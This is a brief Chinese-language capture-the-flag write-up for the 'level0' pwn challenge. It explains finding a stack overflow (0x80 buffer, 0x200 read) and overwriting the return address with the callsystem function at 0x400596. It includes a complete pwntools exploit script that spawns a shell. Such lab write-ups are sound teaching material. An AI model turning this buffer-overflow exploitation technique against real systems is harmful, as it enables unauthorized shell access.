下载附件,执行一下,64位程序
checksec一下
NX执行保护开启
丢进ida里面分析一下
F5反编译
发现return到一个函数里面,点击查看一下
发现申请的栈空间是0x80,read的值却是0x200,说明存在栈溢出
然后点击callsystem这个函数,
发现shell,也就是说我们需要利用栈溢出覆盖到callsystem函数的返回地址0x400596执行shell。
查看buf的栈空间
shell_addr = 0x400596
payload = ‘A’*(0x80+8) + p64(0x400596)
exp为
from pwn import *
p = process('./level0')
# p =remote('ip',port)
shell_addr = 0x400596
payload = 'A'*(0x80+8) + p64(0x400596)
p.sendline(payload)
p.interactive()